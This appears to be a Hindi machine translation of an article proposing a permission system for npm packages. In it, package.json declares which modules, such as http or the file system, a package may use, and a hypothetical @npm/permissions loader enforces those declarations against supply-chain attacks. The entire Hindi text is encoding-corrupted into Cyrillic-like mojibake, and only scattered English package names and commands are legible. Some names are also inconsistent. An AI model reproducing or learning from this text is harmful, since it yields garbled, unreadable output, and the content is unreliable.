"рдирдорд╕реНрддреЗ, fancy-logger рд▓реЗрдЦрдХред рд╣рдо рдЖрдкрдХреЛ рд╕реВрдЪрд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ add-two-number , рдкреИрдХреЗрдЬ рдЬрд┐рд╕рдХреА рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, http рдореЙрдбреНрдпреВрд▓ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ред рдЖрдкрдХреЗ рдкреИрдХреЗрдЬ рдЕрдиреБрдорддрд┐рдпрд╛рдБ, рдЬреИрд╕рд╛ рдХрд┐ npmjs.com/package/fancy-logger рдкрд░ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддрджрдиреБрд╕рд╛рд░ рдЕрдкрдбреЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред тАЭ

рдпрд╣, рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ, рд╕рдВрдХреБрд▓ рдХреЗ рд▓реЗрдЦрдХ рдФрд░ рд╕реНрд╡рдпрдВ npm рджреЛрдиреЛрдВ рдХреЗ рдХрд╛рдо рдореЗрдВ рдЬреЛрдбрд╝ рджреЗрдЧрд╛, рд▓реЗрдХрд┐рди рдпреЗ рдЪреАрдЬреЗрдВ рдЙрди рдкрд░ рдереЛрдбрд╝рд╛ рд╕рдордп рдмрд┐рддрд╛рдиреЗ рдХреЗ рдпреЛрдЧреНрдп рд╣реЛрдВрдЧреАред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, add-two-numbers рдХреЗ рд▓реЗрдЦрдХ рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдпрдХреАрди рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЕрдЧрд░ рд╡рд╣ http рдореЙрдбреНрдпреВрд▓ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд╛рдВрдЧрддрд╛ рд╣реИ, рддреЛ рдЗрд╕рд╕реЗ рджреБрдирд┐рдпрд╛ рднрд░ рдореЗрдВ рдХрдИ "рдЕрд▓рд╛рд░реНрдо" рд╢реБрд░реВ рд╣реЛ рдЬрд╛рдПрдВрдЧреЗред

рдЬреЛ рд╣рдореЗрдВ рдЪрд╛рд╣рд┐рдПред рд╣рд╛рдБ? рдореИрдВ рдЙрдореНрдореАрдж рдХрд░рдирд╛ рдЪрд╛рд╣реВрдВрдЧрд╛ рдХрд┐ рдЯреЗрд▓реАрдлреЛрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдФрд░ рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдХреНрд░реЛрдо рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдкреИрдХреЗрдЬ рдЬрд┐рдиреНрд╣реЗрдВ рдХрдо рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЕрдзрд┐рдХ рд▓реЛрдХрдкреНрд░рд┐рдп рд╣реЛрдВрдЧреЗ, рдЬрд┐рдиреНрд╣реЗрдВ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдЪреНрдЪ рд╕реНрддрд░реАрдп рдкрд╣реБрдВрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдпрд╣ рдмрджрд▓реЗ рдореЗрдВ, рдкреИрдХреЗрдЬ рд▓реЗрдЦрдХреЛрдВ рдХреЛ рдЙрдирдХреЗ рд╡рд┐рдХрд╛рд╕ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХрд╛ рдЪрдпрди рдХрд░рддреЗ рд╕рдордп рдмрд╣реБрдд рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рд╕реЛрдЪрдиреЗ рджреЗрдЧрд╛ред

рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рдПрдирдкреАрдПрдо рдПрдХ рдЕрдиреБрдорддрд┐ рдкреНрд░рдгрд╛рд▓реА рд╢реБрд░реВ рдХрд░рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рддрд░рд╣ рдХреА рдкреНрд░рдгрд╛рд▓реА рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рдкрд╣рд▓реЗ рджрд┐рди, рд╕рднреА рдкреИрдХреЗрдЬреЛрдВ рдХреЛ рдкреВрд░реНрдг рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╕рдордЭреА рдЬрд╛рдПрдЧреА (рдРрд╕рд╛ рдирд┐рд░реНрдгрдп рдмрд╛рдж рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ - рдЙрди рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЬрд╣рд╛рдВ permissions package.json рдореЗрдВ рдЧрд╛рдпрдм рд╣реИ package.json )ред

рдкреИрдХреЗрдЬ рдХрд╛ рд▓реЗрдЦрдХ, рдЬреЛ рдпрд╣ рджрд╛рд╡рд╛ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИ рдХрд┐ рдЙрд╕рдХреЗ рдкреИрдХреЗрдЬ рдХреЛ рд╡рд┐рд╢реЗрд╖ рдЕрдиреБрдорддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ, package.json рдореЗрдВ permissions рдЕрдиреБрднрд╛рдЧ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦреЗрдЧрд╛ред рдПрдХ рдЦрд╛рд▓реА рд╡рд╕реНрддреБ рдХреЗ рд░реВрдк рдореЗрдВред рдФрд░, рдпрджрд┐ рдкреИрдХреЗрдЬ рдХреЗ рд▓реЗрдЦрдХ рдкрд░реНрдпрд╛рдкреНрдд рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ, рддрд╛рдХрд┐ рдирд┐рд░реНрднрд░рддрд╛ рдХреА рдЕрдиреБрдорддрд┐ рдЙрдирдХреЗ рдкреИрдХреЗрдЬ рдХреЛ "рдмреЛрдЭ" рди рдХрд░реЗрдВ, рддреЛ рд╡реЗ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВрдЧреЗ рдХрд┐ рдЗрди рдирд┐рд░реНрднрд░рддрд╛ рдкреИрдХреЗрдЬреЛрдВ рдХреЛ рднреА рд╡рд┐рд╢реЗрд╖ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдирд┐рд░реНрднрд░рддрд╛ рднрдВрдбрд╛рд░ рдореЗрдВ рдЙрдЪрд┐рдд рдкреБрд▓ рдЕрдиреБрд░реЛрдз рдХрд░рдХреЗред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдкреИрдХреЗрдЬ рдХрд╛ рдкреНрд░рддреНрдпреЗрдХ рд▓реЗрдЦрдХ рдЕрдкрдиреА рдирд┐рд░реНрднрд░рддрд╛ рдХреЛ рддреЛрдбрд╝рдиреЗ рдкрд░ рдЕрдкрдиреЗ рдкреИрдХреЗрдЬ рдХреА рднреЗрджреНрдпрддрд╛ рдХреЗ рдЬреЛрдЦрд┐рдо рдХреЛ рдХрдо рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдкреИрдХреЗрдЬ рдХреЗ рд▓реЗрдЦрдХ рдирд┐рд░реНрднрд░рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ, рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ, рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ, рддреЛ рдЙрдирдХреЗ рдкрд╛рд╕ рдЕрдиреНрдп рдкреИрдХреЗрдЬреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рд┐рдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреНрд░реЛрддреНрд╕рд╛рд╣рди рд╣реЛрдЧрд╛ред

рдФрд░ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдмрдирд╛рддреЗ рд╕рдордп npm- рдкреИрдХреЗрдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рдпрд╣ рдЙрдиреНрд╣реЗрдВ рдЕрдкрдиреА рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкреИрдХреЗрдЬреЛрдВ рдкрд░ рд╡рд┐рд╢реЗрд╖ рдзреНрдпрд╛рди рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░реЗрдЧрд╛, рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдЙрди рд▓реЛрдЧреЛрдВ рдХреЛ рдЪреБрдирдирд╛ рдЬрд┐рдиреНрд╣реЗрдВ рд╡рд┐рд╢реЗрд╖ рдЕрдиреБрдорддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред рдЙрд╕реА рд╕рдордп, рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ, рдХреБрдЫ рдкреИрдХреЗрдЬ, рдЙрджреНрджреЗрд╢реНрдп рдХрд╛рд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП, рдЙрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдЬреЛ рд╕рдорд╕реНрдпрд╛рдПрдВ рдкреИрджрд╛ рдХрд░ рд╕рдХрддреА рд╣реИрдВ, рд▓реЗрдХрд┐рди рдРрд╕реЗ рдкреИрдХреЗрдЬ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗ рд╡рд┐рд╢реЗрд╖ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рд╣реЛрдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИред

рд╢рд╛рдпрдж рдЧреНрд░реАрдирдХреАрдкрд░ рдХреА рддрд░рд╣ рдХреБрдЫ рдЗрди рд╕рднреА рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдФрд░ рдЕрдВрдд рдореЗрдВ, package-permissions.json рдлрд╝рд╛рдЗрд▓ рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдкреЗрд╢реЗрд╡рд░ рдХреЗ рд▓рд┐рдП рдПрдХ рдЖрд╕рд╛рди-рд╕реЗ-рд╕рдордЭрдиреЗ рд╡рд╛рд▓рд╛ рд╕рд╛рд░рд╛рдВрд╢ рдкреНрд░рджрд╛рди рдХрд░реЗрдЧреА, рдЬреЛ рдПрдХ рдЖрд╡реЗрджрди рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд "рдЫреЗрдж" рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЖрдкрдХреЛ рд╡рд┐рд╡рд╛рджрд╛рд╕реНрдкрдж рдкреИрдХреЗрдЬ рдФрд░ рдЙрдирдХреА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкреНрд░рд╢реНрди рдкреВрдЫрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

рдирддреАрдЬрддрди, рдореБрдЭреЗ рдЙрдореНрдореАрдж рд╣реИ рдХрд┐ рдпрд╣ рд╕рд░рд▓ permissions рд╕рдВрдкрддреНрддрд┐ рд▓рдЧрднрдЧ 800,000 рдПрдирдкреАрдПрдо рдкреИрдХреЗрдЬреЛрдВ рдХреЗ рдмреАрдЪ рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдлреИрд▓ рд╕рдХрддреА рд╣реИ рдФрд░ рдПрдирдкреАрдПрдо рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рдмрдирд╛ рд╕рдХрддреА рд╣реИред

рдмреЗрд╢рдХ, рдпрд╣ рд╕рдВрднрд╛рд╡рд┐рдд рд╣рдорд▓реЛрдВ рдХреЛ рдирд╣реАрдВ рд░реЛрдХреЗрдЧрд╛ред рдЬрд┐рд╕ рдкреНрд░рдХрд╛рд░ рдореЛрдмрд╛рдЗрд▓ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрд░реЛрдзрд┐рдд рдЕрдиреБрдорддрд┐рдпрд╛рдВ рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рд╕рд╛рдЗрдЯреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡рд┐рддрд░рд┐рдд рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдореЛрдмрд╛рдЗрд▓ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдмрдирд╛рдиреЗ рдореЗрдВ рдЕрд╕рдВрднрд╡ рдирд╣реАрдВ рдмрдирд╛рддреА рд╣реИрдВред рд▓реЗрдХрд┐рди рдпрд╣ "рдЕрдЯреИрдХ рд╕рд░рдлреЗрд╕" рдХреЛ рдЙрди рд╕рдВрдХреБрд▓реЛрдВ рддрдХ рд╕реАрдорд┐рдд рдХрд░ рджреЗрдЧрд╛ рдЬреЛ рдХрдВрдкреНрдпреВрдЯрд░ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд▓рд┐рдП рдЦрддрд░рд╛ рдкреИрджрд╛ рдХрд░ рд╕рдХрдиреЗ рд╡рд╛рд▓реЗ рдХреБрдЫ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдЕрдиреБрдорддрд┐ рдорд╛рдВрдЧрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣ рдЬрд╛рдирдирд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛрдЧрд╛ рдХрд┐ рдХрд┐рддрдиреЗ рдкреНрд░рддрд┐рд╢рдд рдкреИрдХреЗрдЬреЛрдВ рдХреЛ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ рдЕрдиреБрдорддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред

рдпрд╣ рд╡рд╣реА рддрдВрддреНрд░ рд╣реИ рдЬреЛ npm рд╕рдВрдХреБрд▓ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ рдЬреЛ рдореИрдВрдиреЗ рд╕реЛрдЪрд╛ рдерд╛ рдХрд┐ рдЬреИрд╕рд╛ рджрд┐рдЦрддрд╛ рд╣реИред рдпрджрд┐ рдпрд╣ рд╡рд┐рдЪрд╛рд░ рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХрддрд╛ рдмрди рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╣рдо рдпрд╛ рддреЛ рдЗрд╕ рддрдереНрдп рдкрд░ рднрд░реЛрд╕рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдШреЛрд╖рдгрд╛ рдХрд░рдХреЗ рдЕрдкрдиреЗ рдкреИрдХреЗрдЬреЛрдВ рдХрд╛ рдИрдорд╛рдирджрд╛рд░реА рд╕реЗ рд╡рд░реНрдгрди рдХрд░реЗрдВрдЧреЗ, рдпрд╛ рдЙрдирдХреЗ рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрд░реЛрдзрд┐рдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдкреИрдХреЗрдЬреЛрдВ рдХреА рдХреНрд╖рдорддрд╛рдУрдВ рдХреЗ рдЬрдмрд░рди рдкреНрд░рддрд┐рдмрдВрдз рдХреЗ рд╕рд╛рде рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рдШреЛрд╖рд┐рдд рдХрд░рдиреЗ рдХреА рдкреНрд░рдгрд╛рд▓реА рдХреЛ рд╕рдВрдпреЛрдЬрд┐рдд рдХрд░реЗрдВрдЧреЗред рдпрд╣ рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рд╕рд╡рд╛рд▓ рд╣реИред рдЗрд╕реЗ Node.js рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрдиреЗ рдХреЗ рд░реВрдк рдореЗрдВ рджреЗрдЦрддреЗ рд╣реИрдВред

Node.js рдореЗрдВ рдЙрдирдХреЗ рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрд░реЛрдзрд┐рдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдкреИрдХреЗрдЬ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛


рдпрд╣рд╛рдВ рдореБрдЭреЗ рдЗрд╕ рддрд░рд╣ рдХреЗ рдкреНрд░рддрд┐рдмрдВрдз рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рджреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд╡рд┐рдХрд▓реНрдк рджрд┐рдЦрд╛рдИ рджреЗрддреЗ рд╣реИрдВред

тЦН рд╡рд┐рдХрд▓реНрдк 1: рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рдПрдирдкреАрдПрдо рдкреИрдХреЗрдЬ


Npm (рдпрд╛ рдХреБрдЫ рдЕрдиреНрдп рд╕рдВрдЧрдарди рд╕рдорд╛рди рд░реВрдк рд╕реЗ рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рдФрд░ рджреВрд░рджрд░реНрд╢реА) рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдП рдФрд░ рдмрдирд╛рдП рдПрдХ рдкреИрдХреЗрдЬ рдХреА рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВред рдЗрд╕ рдкреИрдХреЗрдЬ рдХреЛ @npm/permissions рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред

рдЗрд╕ рддрд░рд╣ рдХреЗ рдкреИрдХреЗрдЬ рдХреЛ рдпрд╛ рддреЛ рдкрд╣рд▓реЗ рдЖрдпрд╛рдд рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛрдб рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдпрд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди node -r @npm/permissions index.js рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рд▓реЙрдиреНрдЪ рдХрд┐рдП рдЬрд╛рдПрдВрдЧреЗред

рдПрдХ рдкреИрдХреЗрдЬ рдЕрдиреНрдп рдЖрдпрд╛рдд рдЖрджреЗрд╢реЛрдВ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░ рджреЗрдЧрд╛ рддрд╛рдХрд┐ рд╡реЗ package.json рдХреЗ permissions рдЦрдВрдб рдореЗрдВ рдмрддрд╛рдИ рдЧрдИ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХрд╛ рдЙрд▓реНрд▓рдВрдШрди рди рдХрд░реЗрдВред рдЕрдиреНрдп рдкреИрдХреЗрдЬреЛрдВ рдХреА рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдЬрдорд╛ рдХрд░реЗрдВред рдЕрдЧрд░ рдПрдХ рдирд┐рд╢реНрдЪрд┐рдд lovely-logger рдкреИрдХреЗрдЬ рдХреЗ рд▓реЗрдЦрдХ рдиреЗ Node.js http рдореЙрдбреНрдпреВрд▓ рдореЗрдВ рдЗрд╕ рдкреИрдХреЗрдЬ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреА рдШреЛрд╖рдгрд╛ рдирд╣реАрдВ рдХреА рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЗрд╕ рдкреИрдХреЗрдЬ рдХреЛ рдЗрд╕ рдореЙрдбреНрдпреВрд▓ рджреНрд╡рд╛рд░рд╛ рдПрдХреНрд╕реЗрд╕ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдмреЛрд▓рдирд╛, рдкреВрд░реЗ Node.js рдореЙрдбреНрдпреВрд▓ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░рдирд╛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдЖрджрд░реНрд╢ рдирд╣реАрдВ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, npm methods рдкреИрдХреЗрдЬ Node.js http рдореЙрдбреНрдпреВрд▓ рдХреЛ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреЛрдИ рдбреЗрдЯрд╛ рдирд╣реАрдВ рднреЗрдЬрддрд╛ рд╣реИред рдпрд╣ рд╕рд┐рд░реНрдл http.METHODS рдСрдмреНрдЬреЗрдХреНрдЯ рд▓реЗрддрд╛ рд╣реИ, рдЗрд╕рдХреЗ рдирд╛рдо рдХреЛ http.METHODS рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдЗрд╕реЗ рдПрдХ рдХреНрд▓рд╛рд╕рд┐рдХ npm рдкреИрдХреЗрдЬ рдХреЗ рд░реВрдк рдореЗрдВ рдирд┐рд░реНрдпрд╛рдд рдХрд░рддрд╛ рд╣реИред рдЕрдм рдРрд╕рд╛ рдкреИрдХреЗрдЬ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд▓рд┐рдП рдПрдХ рдорд╣рд╛рди рд▓рдХреНрд╖реНрдп рдЬреИрд╕рд╛ рджрд┐рдЦрддрд╛ рд╣реИ - рдЙрд╕рдХреЗ рдкрд╛рд╕ рдкреНрд░рддрд┐ рд╕рдкреНрддрд╛рд╣ 6 рдорд┐рд▓рд┐рдпрди рдбрд╛рдЙрдирд▓реЛрдб рд╣реИрдВ, рдЬрдмрдХрд┐ рд╡рд╣ 3 рд╡рд░реНрд╖реЛрдВ рд╕реЗ рдирд╣реАрдВ рдмрджрд▓рд╛ рд╣реИред рдореИрдВ рдЗрд╕ рдкреИрдХреЗрдЬ рдХреЗ рд▓реЗрдЦрдХреЛрдВ рдХреЛ рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реВрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдЕрдкрдиреА рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдордВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реВрдВред

methods рдкреИрдХреЗрдЬ рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрддреЗ рд╣реБрдП, рдпрд╣ рд╡рд┐рдЪрд╛рд░ рдХрд░рдирд╛ рдмреЗрд╣рддрд░ рд╣реЛрдЧрд╛ рдХрд┐ рдЗрд╕рдХреЗ рд▓рд┐рдП network рдЕрдиреБрдорддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ, рдФрд░ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рдЬреЛ http рдореЙрдбреНрдпреВрд▓ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред рдлрд┐рд░ рдпрд╣ рдкреНрд░рддрд┐рдмрдВрдз рдмрд╛рд╣рд░реА рддрдВрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рддрдп рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕ рдкреИрдХреЗрдЬ рдХреЗ рдХрд┐рд╕реА рднреА рдкреНрд░рдпрд╛рд╕ рдХреЛ рдмреЗрдЕрд╕рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рдХреБрдЫ рдбреЗрдЯрд╛ рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдпрд╣ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред

рдХрд╛рд▓реНрдкрдирд┐рдХ рдкреИрдХреЗрдЬ @npm/permissions рдПрдХ рдкреИрдХреЗрдЬ рд╕реЗ рдХрд┐рд╕реА рднреА рдЕрдиреНрдп рдкреИрдХреЗрдЬ рддрдХ рдкрд╣реБрдВрдЪ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИрдВ рдЬреЛ рдЗрд╕рдХреА рдирд┐рд░реНрднрд░рддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдирд╣реАрдВ рдереЗред рдпрд╣ рдкреИрдХреЗрдЬ рдХреЛ рд░реЛрдХ рджреЗрдЧрд╛, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, fs-extra рдФрд░ request рдЬреИрд╕реА рдХрд┐рд╕реА рдЪреАрдЬрд╝ рдХреЛ рдЖрдпрд╛рдд рдХрд░рдиреЗ рд╕реЗ, рдФрд░ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рдбреЗрдЯрд╛ рдкрдврд╝рдиреЗ рдФрд░ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд░реАрдб рдбреЗрдЯрд╛ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЗрди рдкреИрдХреЗрдЬреЛрдВ рдХреА рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

